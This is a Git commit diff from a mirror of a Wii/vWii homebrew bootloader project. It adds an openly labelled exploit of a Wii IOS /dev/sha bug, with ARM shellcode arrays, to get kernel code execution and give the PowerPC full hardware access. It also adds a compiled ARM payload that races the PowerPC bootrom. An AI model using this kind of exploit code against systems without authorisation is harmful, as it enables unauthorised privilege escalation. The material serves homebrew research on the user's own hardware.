mirror of
https://github.com/Wack0/entii-for-workcubes.git
synced 2025-12-19 18:06:24 -05:00
arcldr: on vwii, pwn IOS and race the ppc bootrom to get Espresso code execution; additionally, pwn IOS to get full hardware access if needed
This commit is contained in:
2
arcldr/ppc_race_payload/build.txt
Normal file
2
arcldr/ppc_race_payload/build.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
arm-none-eabi-gcc -marm -march=armv5t -mbig-endian -O3 -nostdlib -nodefaultlibs -o payload.elf -Wl,-T,payload.ld payload.c
|
||||
arm-none-eabi-objcopy -O binary payload.elf payload.bin
|
||||
173
arcldr/ppc_race_payload/payload.c
Normal file
173
arcldr/ppc_race_payload/payload.c
Normal file
@@ -0,0 +1,173 @@
|
||||
enum {
|
||||
HW_PPCIPCVAL = 0x00,
|
||||
HW_PPCIPCCTRL = 0x04,
|
||||
HW_IOPIPCCTRL = 0x0c,
|
||||
HW_TIMER = 0x10,
|
||||
HW_VISOLID = 0x24,
|
||||
HW_PPCIRQFLAG = 0x30,
|
||||
HW_PPCIRQMASK = 0x34,
|
||||
HW_IOPIRQFLAG = 0x38,
|
||||
HW_GPIO_OWNER = 0xFC,
|
||||
HW_RESETS = 0x194,
|
||||
};
|
||||
|
||||
static inline unsigned int interrupt_status() {
|
||||
unsigned int var;
|
||||
asm volatile ("mrs %0, cpsr":"=r" (var));
|
||||
unsigned int ret = var & 0xc0;
|
||||
asm volatile("");
|
||||
return ret;
|
||||
}
|
||||
|
||||
static inline unsigned int disable_interrupts() {
|
||||
unsigned int var;
|
||||
asm volatile ("mrs %0, cpsr":"=r" (var));
|
||||
unsigned int ret = var & 0xc0;
|
||||
var |= 0xc0;
|
||||
asm volatile ("msr cpsr_c, %0": : "r" (var));
|
||||
return ret;
|
||||
}
|
||||
|
||||
static inline void enable_interrupts(unsigned int cookie) {
|
||||
unsigned int var;
|
||||
asm volatile ("mrs %0, cpsr":"=r" (var));
|
||||
var &= ~0xc0;
|
||||
var |= cookie;
|
||||
asm volatile ("msr cpsr_c, %0": : "r" (var));
|
||||
}
|
||||
|
||||
static inline unsigned int read32(unsigned int offset) {
|
||||
register unsigned int MMIO_BASE = 0x0d800000;
|
||||
return *(volatile unsigned int*)(MMIO_BASE + offset);
|
||||
}
|
||||
|
||||
static inline void write32(unsigned int offset, unsigned int value) {
|
||||
register unsigned int MMIO_BASE = 0x0d800000;
|
||||
*(volatile unsigned int*)(MMIO_BASE + offset) = value;
|
||||
}
|
||||
|
||||
static inline unsigned int read_zero(void) {
|
||||
unsigned int value;
|
||||
asm volatile ("ldr %0, [%1]" : "=r"(value) : "r"(0));
|
||||
return value;
|
||||
}
|
||||
|
||||
static inline void write_zero(unsigned int value) {
|
||||
asm volatile ("str %0, [%1]" : : "r"(value), "r"(0));
|
||||
}
|
||||
|
||||
typedef void (*tfpiosNoArg)(void);
|
||||
typedef void (*tfpiosSingleArg)(unsigned int arg);
|
||||
typedef void (*tfpMemcpy)(void* dest, void* src, unsigned int length);
|
||||
|
||||
void _start(void) {
|
||||
// get current interrupt enabled state
|
||||
unsigned int interrupts = interrupt_status();
|
||||
|
||||
|
||||
tfpMemcpy memcpy = (tfpMemcpy)0xFFFF737C;
|
||||
tfpiosSingleArg udelay = (tfpiosSingleArg)0xffff70a1;
|
||||
while (1) {
|
||||
tfpiosNoArg iosStopPpc = (tfpiosNoArg)0xffff689d; //0xffff0e4d;
|
||||
iosStopPpc();
|
||||
|
||||
// let PPC access the debug GPIOs
|
||||
write32(HW_GPIO_OWNER, read32(HW_GPIO_OWNER) | 0xFF0000);
|
||||
|
||||
// copy ancast into place
|
||||
memcpy((void*)0x01330000, (void*)0x01230000, 0x3f100);
|
||||
// wipe bootrom state, we only care about the final flags
|
||||
*(volatile unsigned int*)0x016ffffc = 0;
|
||||
// set napa sync value
|
||||
write_zero(0xffffffff);
|
||||
// disable interrupts whilst flushing dcache
|
||||
disable_interrupts();
|
||||
// flush entire dcache
|
||||
__asm__ __volatile__("1: mrc p15, 0, r15, c7, c10, 3; bne 1b" ::: "cc");
|
||||
// drain write buffer
|
||||
__asm__ __volatile__("mcr p15, 0, %0, c7, c10, 4" : : "r"((unsigned int)0));
|
||||
tfpiosSingleArg iosAhbMemInvalidate = (tfpiosSingleArg)0xffff6881;
|
||||
tfpiosSingleArg iosAhbMemFlush = (tfpiosSingleArg)0xffff67c5;
|
||||
iosAhbMemFlush(1);
|
||||
enable_interrupts(interrupts);
|
||||
|
||||
// enable vegas IPC interrupt for PPC
|
||||
write32(HW_PPCIRQMASK, 0x40000000);
|
||||
|
||||
// pull both hreset and sreset
|
||||
unsigned int reset = read32(HW_RESETS) & ~0x30;
|
||||
write32(HW_RESETS, reset);
|
||||
udelay(100);
|
||||
// release sreset
|
||||
reset |= 0x20;
|
||||
write32(HW_RESETS, reset);
|
||||
udelay(100);
|
||||
|
||||
// set up for the bootrom race
|
||||
register volatile unsigned int* firstInsnPtr = (volatile unsigned int*)0x01330100;
|
||||
register unsigned int firstInsn = 0x7c9f42a6; //*firstInsnPtr;
|
||||
register unsigned int jumpInsn = 0x4bfeff00;
|
||||
register volatile unsigned int* bootromStatePtr = (volatile unsigned int*)0x016ffffc;
|
||||
register unsigned int bootromStateCacheLine = 0x016fffe0;
|
||||
// barrier before the time sensitive part
|
||||
asm volatile("");
|
||||
// disable interrupts
|
||||
disable_interrupts();
|
||||
|
||||
// release hreset, let the bootrom start
|
||||
reset |= 0x10;
|
||||
write32(HW_RESETS, reset);
|
||||
|
||||
while (1) {
|
||||
if (*firstInsnPtr == firstInsn) break;
|
||||
if ((*bootromStatePtr >> 24) != 0) break;
|
||||
// invalidate dcache
|
||||
__asm__ __volatile__("mcr p15, 0, %0, c7, c6, 1" : : "r"((unsigned int)firstInsnPtr));
|
||||
__asm__ __volatile__("mcr p15, 0, %0, c7, c6, 1" : : "r"(bootromStateCacheLine));
|
||||
iosAhbMemInvalidate(0);
|
||||
}
|
||||
|
||||
// if bootrom failed, try again
|
||||
if ((*bootromStatePtr >> 24) != 0) {
|
||||
enable_interrupts(interrupts);
|
||||
continue;
|
||||
}
|
||||
|
||||
// replace the first instruction
|
||||
*firstInsnPtr = jumpInsn;
|
||||
// flush dcache line
|
||||
__asm__ __volatile__("mcr p15, 0, %0, c7, c10, 1" : : "r"((unsigned int)firstInsnPtr));
|
||||
// drain write buffer
|
||||
__asm__ __volatile__("mcr p15, 0, %0, c7, c10, 4" : : "r"((unsigned int)0));
|
||||
iosAhbMemFlush(1);
|
||||
|
||||
enable_interrupts(interrupts);
|
||||
|
||||
// make sure it actually wrote out
|
||||
__asm__ __volatile__("mcr p15, 0, %0, c7, c6, 1" : : "r"((unsigned int)firstInsnPtr));
|
||||
iosAhbMemInvalidate(0);
|
||||
if (*firstInsnPtr != jumpInsn) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// race succeeded
|
||||
// wait for bootrom to finish
|
||||
while (1) {
|
||||
if ((*bootromStatePtr >> 24) != 0) break;
|
||||
// invalidate dcache
|
||||
__asm__ __volatile__("mcr p15, 0, %0, c7, c6, 1" : : "r"(bootromStateCacheLine));
|
||||
iosAhbMemInvalidate(0);
|
||||
}
|
||||
// wait up to 100ms for PPC to set low Napa back to zero
|
||||
for (int i = 0; i < 100000; i++) {
|
||||
if (read_zero() == 0) break;
|
||||
udelay(1);
|
||||
}
|
||||
//enable_interrupts(interrupts);
|
||||
// if value at low Napa not zero, then PPC didn't run our code...
|
||||
if (read_zero() != 0) {
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
155
arcldr/ppc_race_payload/payload.ld
Normal file
155
arcldr/ppc_race_payload/payload.ld
Normal file
@@ -0,0 +1,155 @@
|
||||
OUTPUT_FORMAT("elf32-bigarm", "elf32-bigarm", "elf32-bigarm")
|
||||
OUTPUT_ARCH(arm)
|
||||
ENTRY(_start)
|
||||
|
||||
PHDRS
|
||||
{
|
||||
main PT_LOAD;
|
||||
}
|
||||
|
||||
MEMORY
|
||||
{
|
||||
/* 1MB of memory at DDR+16MB */
|
||||
main : ORIGIN = 0x11000000, LENGTH = 0x100000
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
. = 0x11000000;
|
||||
|
||||
/DISCARD/ : { *(.init) *(.fini) *(.init*) *(.fini*) *(.preinit*) }
|
||||
|
||||
.text :
|
||||
{
|
||||
/* .text */
|
||||
*(.text)
|
||||
*(.text.*)
|
||||
*(.glue_7)
|
||||
*(.glue_7t)
|
||||
*(.stub)
|
||||
*(.gnu.warning)
|
||||
*(.gnu.linkonce.t*)
|
||||
|
||||
/* .fini */
|
||||
/*KEEP( *(.fini) )*/
|
||||
. = ALIGN(8);
|
||||
} >main :main
|
||||
|
||||
.rodata :
|
||||
{
|
||||
*(.rodata)
|
||||
*(.roda)
|
||||
*(.rodata.*)
|
||||
*all.rodata*(*)
|
||||
*(.gnu.linkonce.r*)
|
||||
SORT(CONSTRUCTORS)
|
||||
. = ALIGN(8);
|
||||
} >main :main
|
||||
|
||||
/*.preinit_array :
|
||||
{
|
||||
PROVIDE (__preinit_array_start = .);
|
||||
KEEP (*(.preinit_array))
|
||||
PROVIDE (__preinit_array_end = .);
|
||||
} >main
|
||||
|
||||
.init_array ALIGN(4) :
|
||||
{
|
||||
PROVIDE (__init_array_start = .);
|
||||
KEEP (*(SORT(.init_array.*)))
|
||||
KEEP (*(.init_array))
|
||||
PROVIDE (__init_array_end = .);
|
||||
} >main
|
||||
|
||||
.fini_array ALIGN(4) :
|
||||
{
|
||||
PROVIDE (__fini_array_start = .);
|
||||
KEEP (*(.fini_array))
|
||||
KEEP (*(SORT(.fini_array.*)))
|
||||
PROVIDE (__fini_array_end = .);
|
||||
} >main
|
||||
|
||||
.ctors ALIGN(4) :
|
||||
{
|
||||
KEEP (*crtbegin.o(.ctors))
|
||||
KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors))
|
||||
KEEP (*(SORT(.ctors.*)))
|
||||
KEEP (*(.ctors))
|
||||
. = ALIGN(4);
|
||||
} >main
|
||||
|
||||
.dtors ALIGN(4) :
|
||||
{
|
||||
KEEP (*crtbegin.o(.dtors))
|
||||
KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors))
|
||||
KEEP (*(SORT(.dtors.*)))
|
||||
KEEP (*(.dtors))
|
||||
. = ALIGN(4);
|
||||
} >main
|
||||
|
||||
.ARM.extab : { *(.ARM.extab* .gnu.linkonce.armextab.*) __exidx_start = ABSOLUTE(.);} >main
|
||||
ARM.exidx : { *(.ARM.exidx* .gnu.linkonce.armexidx.*) __exidx_end = ABSOLUTE(.);} >main*/
|
||||
|
||||
.data :
|
||||
{
|
||||
*(.data)
|
||||
*(.data.*)
|
||||
*(.gnu.linkonce.d*)
|
||||
CONSTRUCTORS
|
||||
. = ALIGN(32);
|
||||
} >main :main
|
||||
|
||||
.bss (NOLOAD) :
|
||||
{
|
||||
. = ALIGN(32);
|
||||
PROVIDE (__bss_start__ = ABSOLUTE(.));
|
||||
*(.dynbss)
|
||||
*(.bss)
|
||||
*(.bss.*)
|
||||
*(.gnu.linkonce.b*)
|
||||
*(COMMON)
|
||||
. = ALIGN(8);
|
||||
PROVIDE (__bss_end__ = ABSOLUTE(.));
|
||||
} >main :NONE
|
||||
__end__ = ABSOLUTE(.) ;
|
||||
|
||||
/* ==================
|
||||
==== Metadata ====
|
||||
================== */
|
||||
|
||||
/* Discard sections that difficult post-processing, etc */
|
||||
/DISCARD/ : { *(.group .comment .note .init .fini) }
|
||||
|
||||
/* Stabs debugging sections. */
|
||||
.stab 0 : { *(.stab) }
|
||||
.stabstr 0 : { *(.stabstr) }
|
||||
.stab.excl 0 : { *(.stab.excl) }
|
||||
.stab.exclstr 0 : { *(.stab.exclstr) }
|
||||
.stab.index 0 : { *(.stab.index) }
|
||||
.stab.indexstr 0 : { *(.stab.indexstr) }
|
||||
|
||||
/* DWARF debug sections.
|
||||
Symbols in the DWARF debugging sections are relative to the beginning
|
||||
of the section so we begin them at 0. */
|
||||
|
||||
/* DWARF 1 */
|
||||
.debug 0 : { *(.debug) }
|
||||
.line 0 : { *(.line) }
|
||||
|
||||
/* GNU DWARF 1 extensions */
|
||||
.debug_srcinfo 0 : { *(.debug_srcinfo) }
|
||||
.debug_sfnames 0 : { *(.debug_sfnames) }
|
||||
|
||||
/* DWARF 1.1 and DWARF 2 */
|
||||
.debug_aranges 0 : { *(.debug_aranges) }
|
||||
.debug_pubnames 0 : { *(.debug_pubnames) }
|
||||
|
||||
/* DWARF 2 */
|
||||
.debug_info 0 : { *(.debug_info) }
|
||||
.debug_abbrev 0 : { *(.debug_abbrev) }
|
||||
.debug_line 0 : { *(.debug_line) }
|
||||
.debug_frame 0 : { *(.debug_frame) }
|
||||
.debug_str 0 : { *(.debug_str) }
|
||||
.debug_loc 0 : { *(.debug_loc) }
|
||||
.debug_macinfo 0 : { *(.debug_macinfo) }
|
||||
}
|
||||
@@ -32,6 +32,10 @@ enum {
|
||||
|
||||
// only let the heap implementation use the first 4MB of MEM1
|
||||
void* __myArena1Hi = MEM_PHYSICAL_TO_K0(PHYSADDR_LOAD);
|
||||
#ifdef HW_RVL
|
||||
// ...and do not touch MEM2
|
||||
u32 MALLOC_MEM2 = 0;
|
||||
#endif
|
||||
|
||||
static GXRModeObj *rmode = NULL;
|
||||
|
||||
@@ -815,6 +819,188 @@ static void video_encoder_init_vga(void) {
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef HW_RVL
|
||||
#define mfpvr() ({u32 _rval; \
|
||||
__asm__ __volatile__ ("mfpvr %0" : "=r"(_rval)); _rval;})
|
||||
|
||||
// Pwn IOS:
|
||||
// - Enforce PPC access to all hardware.
|
||||
// - On vWii, reboot PPC and race its bootrom to gain access to the other 2 cores.
|
||||
// Cafe OS uses core1 as main core due to its extra cache.
|
||||
// We must use core0 as main core as compat PI only allows core0 interrupts.
|
||||
static void EnchantIOP(void) {
|
||||
//printf("PVR = %08x\n", mfpvr());
|
||||
if ((read32(0xCD800064) == 0xFFFFFFFF) ? 1 : 0) {
|
||||
// PPC already has access to all hardware.
|
||||
// If this isn't vWii, no need to do anything.
|
||||
if ((read32(0xCD8005A0) >> 16) != 0xCAFE) return;
|
||||
// If not in broadway compat mode, do nothing.
|
||||
if ((mfpvr() >> 16) != 8) return;
|
||||
//printf("Gaining root...\n");
|
||||
} //else printf("Gaining AHBPROT and IOS root...\n");
|
||||
|
||||
if (IOS_GetVersion() != 58) {
|
||||
// we want IOS58.
|
||||
IOS_ReloadIOS(58);
|
||||
}
|
||||
|
||||
// Use the /dev/sha exploit.
|
||||
// Thanks BroadOn for all the bugs :3
|
||||
static u32 stage1[] = {
|
||||
0x4903468D, // ldr r1, =0x10100000; mov sp, r1;
|
||||
0x49034788, // ldr r1, =entrypoint; blx r1;
|
||||
/* Overwrite reserved handler to loop infinitely */
|
||||
0x49036209, // ldr r1, =0xFFFF0014; str r1, [r1, #0x20];
|
||||
0x47080000, // bx r1
|
||||
0x10100000, // temporary stack
|
||||
0x41414141, // entrypoint
|
||||
0xFFFF0014, // reserved handler
|
||||
};
|
||||
|
||||
static u32 iop_kernel_mode[] = {
|
||||
// give PPC access to all hardware
|
||||
0xe3a04536, // mov r4, #0x0D800000
|
||||
0xe3e05000, // mov r5, #0xFFFFFFFF
|
||||
0xe5845064, // str r5, [r4, #0x64]
|
||||
// set PPC uid as root
|
||||
0xe92d4003, // push {r0-r1, lr}
|
||||
0xe3a0000f, // mov r0, #15 ; PROCESS_ID_PPCIPC
|
||||
0xe3a01000, // mov r1, #0 ; USER_ID_ROOT
|
||||
0xe6000570, // syscall IOS_SetUid
|
||||
0xe8bd4003, // pop {r0-r1, lr}
|
||||
0xe12fff1e, // bx lr
|
||||
};
|
||||
|
||||
// We don't care about the very start of memory.
|
||||
// (Napa/Splash size is at offset 0x28, we aren't overwriting that much)
|
||||
u32* napa = (u32*)0x80000000;
|
||||
u32* ddr = (u32*)0x91000000;
|
||||
memcpy(napa, stage1, sizeof(stage1));
|
||||
napa[5] = (u32)MEM_K0_TO_PHYSICAL(iop_kernel_mode);
|
||||
DCFlushRange(napa, 0x20);
|
||||
|
||||
int hSha = IOS_Open("/dev/sha", IPC_OPEN_NONE);
|
||||
if (hSha < 0) return;
|
||||
|
||||
ioctlv vec[3] = {0};
|
||||
vec[1].data = (void*)0xfffe0028;
|
||||
vec[2].data = MEM_K0_TO_PHYSICAL(0x80000000);
|
||||
vec[2].len = 0x20;
|
||||
|
||||
// broadon was cursed to never write secure code, amirite
|
||||
IOS_Ioctlv(hSha, 0, 1, 2, vec);
|
||||
// wait for context switch to idle thread
|
||||
sleep(1);
|
||||
IOS_Close(hSha);
|
||||
|
||||
// make sure it worked
|
||||
if (read32(0xCD800064) != 0xFFFFFFFF) {
|
||||
return;
|
||||
}
|
||||
|
||||
// do more only if in wiimode on cafe
|
||||
if ((read32(0xCD8005A0) >> 16) != 0xCAFE) {
|
||||
return;
|
||||
}
|
||||
|
||||
// read ancast into memory.
|
||||
// 0x3f100 bytes at offset 0x500, to physaddr 0x01230000
|
||||
// arm payload will copy to 0x01330000
|
||||
const char ancast_path[] = "/title/00000001/00000200/content/00000003.app";
|
||||
int hAncast = IOS_Open(ancast_path, IPC_OPEN_READ);
|
||||
if (hAncast < 0) return;
|
||||
bool ancastSuccess = false;
|
||||
do {
|
||||
if (IOS_Seek(hAncast, 0x500, 0) < 0) break;
|
||||
if (IOS_Read(hAncast, (void*)0x81230000, 0x3f100) != 0x3f100) break;
|
||||
if (read32(0xc1230000) != 0xefa282d9) break;
|
||||
ancastSuccess = true;
|
||||
} while (0);
|
||||
IOS_Close(hAncast);
|
||||
if (!ancastSuccess) {
|
||||
return;
|
||||
}
|
||||
|
||||
// first up, restart IOS to ensure icache + dcache are wiped
|
||||
// we lose root, but we only needed it to read the ancast image so...
|
||||
// Get IOS current version
|
||||
s32 ios = IOS_GetVersion();
|
||||
if (ios < 0) ios = IOS_GetPreferredVersion();
|
||||
if (ios >= 3) {
|
||||
// Patch to always set AHBPROT on loading TMD
|
||||
patch_ahbprot_reset();
|
||||
// reload IOS, get rid of our existing environment
|
||||
// try IOS58 first then fall back
|
||||
if (ios == 58 || IOS_ReloadIOS(58) < 0) IOS_ReloadIOS(ios);
|
||||
// and patch again, in case we reload again
|
||||
patch_ahbprot_reset();
|
||||
}
|
||||
|
||||
// make sure ios version is correct
|
||||
if (read32(0xC0003140) != 0x3a1920) {
|
||||
return;
|
||||
}
|
||||
// get ARM kernel mode code execution again,
|
||||
// this time to race the PPC bootrom and get espresso-mode code execution
|
||||
|
||||
static u32 iop_kernel_mode_restart_ppc[] = {
|
||||
#include "ppc_race_payload.inc"
|
||||
};
|
||||
|
||||
static u32 ppc_payload_write[] = {
|
||||
0x38800000, // li r4, 0
|
||||
0x90840000, // stw r4, 0(r4)
|
||||
0x7c0420ac, // dcbf r4, r4
|
||||
0x7c0004ac, // sync
|
||||
};
|
||||
|
||||
static u32 ppc_payload[] = {
|
||||
0x38600000 | (0x4000 - sizeof(ppc_payload_write)), // li r3, x
|
||||
0x38800000, // li r4, 0
|
||||
0x7c7a03a6, // mtsrr0 r3
|
||||
0x7c9b03a6, // mtsrr1 r4
|
||||
0x4c000064, // rfi
|
||||
0x48000000, // b .
|
||||
0x60000000, // nop
|
||||
};
|
||||
|
||||
memcpy(ddr, iop_kernel_mode_restart_ppc, sizeof(iop_kernel_mode_restart_ppc));
|
||||
memcpy((void*)0x81320000, ppc_payload, sizeof(ppc_payload));
|
||||
memcpy((void*)(0x80004000 - sizeof(ppc_payload_write)), ppc_payload_write, sizeof(ppc_payload_write));
|
||||
memset((void*)0x816fffe0, 0, 0x20);
|
||||
|
||||
memcpy(napa, stage1, sizeof(stage1));
|
||||
napa[5] = (u32)MEM_K0_TO_PHYSICAL(ddr);
|
||||
DCFlushRange(napa, 0x20);
|
||||
DCFlushRange(ddr, ((sizeof(iop_kernel_mode_restart_ppc) / 0x20) + 1) * 0x20);
|
||||
DCFlushRange((void*)0x81320000, 0x100);
|
||||
DCFlushRange((void*)0x816fffe0, 0x20);
|
||||
DCFlushRange((void*)(0x80004000 - sizeof(ppc_payload_write)), 0x20);
|
||||
|
||||
// run exploit to reset ppc
|
||||
hSha = IOS_Open("/dev/sha", IPC_OPEN_NONE);
|
||||
if (hSha < 0) return;
|
||||
ioctlv vec2[3] = {0};
|
||||
vec2[1].data = (void*)0xfffe0028;
|
||||
vec2[2].data = MEM_K0_TO_PHYSICAL(0x80000000);
|
||||
vec2[2].len = 0x20;
|
||||
|
||||
// wait for ios to fully come up
|
||||
sleep(1);
|
||||
|
||||
// close libogc IOS handles
|
||||
__IOS_ShutdownSubsystems();
|
||||
|
||||
|
||||
|
||||
// bye bye
|
||||
IOS_Ioctlv(hSha, 0, 1, 2, vec2);
|
||||
// just hang until pwned IOP puts this cpu back into reset
|
||||
while (1);
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
// Initialise the video system
|
||||
VIDEO_Init();
|
||||
@@ -839,6 +1025,13 @@ int main(int argc, char** argv) {
|
||||
id0 == 0xFF800000;
|
||||
}
|
||||
if (isRva) rmode = &TVNtsc480Prog;
|
||||
|
||||
if (*(PULONG)0x80001800 == 0 && *(PULONG)0x80001804 == 'STUB') {
|
||||
// Do not try to run an IOS exploit if this isn't real hardware.
|
||||
} else {
|
||||
// Cast a spell on the IOP, we want more than what it's given us
|
||||
EnchantIOP();
|
||||
}
|
||||
#endif
|
||||
|
||||
// Get size of Splash/Napa (MEM1), DDR (MEM2)
|
||||
|
||||
144
arcldr/source/ppc_race_payload.inc
Normal file
144
arcldr/source/ppc_race_payload.inc
Normal file
@@ -0,0 +1,144 @@
|
||||
0xe92d4ff8,
|
||||
0xe10f7000,
|
||||
0xe20770c0,
|
||||
0xe59f41dc,
|
||||
0xe59f81dc,
|
||||
0xe59f51dc,
|
||||
0xe3a06536,
|
||||
0xe59f31d8,
|
||||
0xe12fff33,
|
||||
0xe596c0fc,
|
||||
0xe59f91d0,
|
||||
0xe38cc8ff,
|
||||
0xe1a00009,
|
||||
0xe59f21c8,
|
||||
0xe59f11c8,
|
||||
0xe59f31c8,
|
||||
0xe586c0fc,
|
||||
0xe12fff33,
|
||||
0xe3a02000,
|
||||
0xe3e01000,
|
||||
0xe5042003,
|
||||
0xe5821000,
|
||||
0xe10f1000,
|
||||
0xe38110c0,
|
||||
0xe121f001,
|
||||
0xee17ff7a,
|
||||
0x1afffffd,
|
||||
0xee072f9a,
|
||||
0xe3a00001,
|
||||
0xe12fff38,
|
||||
0xe10f2000,
|
||||
0xe3c220c0,
|
||||
0xe1872002,
|
||||
0xe121f002,
|
||||
0xe3a01101,
|
||||
0xe5861034,
|
||||
0xe596b194,
|
||||
0xe59fa174,
|
||||
0xe3cbb030,
|
||||
0xe3a00064,
|
||||
0xe586b194,
|
||||
0xe12fff3a,
|
||||
0xe38b1020,
|
||||
0xe3a00064,
|
||||
0xe5861194,
|
||||
0xe12fff3a,
|
||||
0xe10f2000,
|
||||
0xe38220c0,
|
||||
0xe121f002,
|
||||
0xe38bb030,
|
||||
0xe586b194,
|
||||
0xe5993100,
|
||||
0xe1530005,
|
||||
0x0a00000d,
|
||||
0xe59f6134,
|
||||
0xea000007,
|
||||
0xee073f36,
|
||||
0xe59f312c,
|
||||
0xee073f36,
|
||||
0xe12fff36,
|
||||
0xe59f3108,
|
||||
0xe5933100,
|
||||
0xe1530005,
|
||||
0x0a000003,
|
||||
0xe5140003,
|
||||
0xe59f3110,
|
||||
0xe1b00c20,
|
||||
0x0afffff3,
|
||||
0xe514b003,
|
||||
0xe1b0bc2b,
|
||||
0x1a00002f,
|
||||
0xe59fa0dc,
|
||||
0xe59f60f8,
|
||||
0xe59f90f0,
|
||||
0xe58a6100,
|
||||
0xee079f3a,
|
||||
0xee07bf9a,
|
||||
0xe3a00001,
|
||||
0xe12fff38,
|
||||
0xe10f3000,
|
||||
0xe3c330c0,
|
||||
0xe1873003,
|
||||
0xe121f003,
|
||||
0xee079f36,
|
||||
0xe59f90bc,
|
||||
0xe1a0000b,
|
||||
0xe12fff39,
|
||||
0xe59a2100,
|
||||
0xe1520006,
|
||||
0x1affffab,
|
||||
0xe5142003,
|
||||
0xe1b02c22,
|
||||
0x1a000007,
|
||||
0xe1a06009,
|
||||
0xe59fb098,
|
||||
0xee07bf36,
|
||||
0xe3a00000,
|
||||
0xe12fff36,
|
||||
0xe5143003,
|
||||
0xe1b03c23,
|
||||
0x0afffff9,
|
||||
0xe3a06000,
|
||||
0xe5963000,
|
||||
0xe1530006,
|
||||
0x159f907c,
|
||||
0x159fb064,
|
||||
0x0a000006,
|
||||
0xe3a00001,
|
||||
0xe12fff3b,
|
||||
0xe2599001,
|
||||
0x0a000002,
|
||||
0xe5962000,
|
||||
0xe3520000,
|
||||
0x1afffff8,
|
||||
0xe3a03000,
|
||||
0xe5933000,
|
||||
0xe3530000,
|
||||
0x08bd8ff8,
|
||||
0xeaffff8e,
|
||||
0xe10f3000,
|
||||
0xe3c330c0,
|
||||
0xe1873003,
|
||||
0xe121f003,
|
||||
0xeaffff89,
|
||||
0x016fffff,
|
||||
0xffff67c5,
|
||||
0x7c9f42a6,
|
||||
0xffff689d,
|
||||
0x01330000,
|
||||
0x0003f100,
|
||||
0x01230000,
|
||||
0xffff737c,
|
||||
0xffff70a1,
|
||||
0xffff6881,
|
||||
0x016fffe0,
|
||||
0x01330100,
|
||||
0x4bfeff00,
|
||||
0x000186a0,
|
||||
0x00000000,
|
||||
0x00000000,
|
||||
0x00000000,
|
||||
0x00000000,
|
||||
0x00000000,
|
||||
0x00000000,
|
||||
Reference in New Issue
Block a user